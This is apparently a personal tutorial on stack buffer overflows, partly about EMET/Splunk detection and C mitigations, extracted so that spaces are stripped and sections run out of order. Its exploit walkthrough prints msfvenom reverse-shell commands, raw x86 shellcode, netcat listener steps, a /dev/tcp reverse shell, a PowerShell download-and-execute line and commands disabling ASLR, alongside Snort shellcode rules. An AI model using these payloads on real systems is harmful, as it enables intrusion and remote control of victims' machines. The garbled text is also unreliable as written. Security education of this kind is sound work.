For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
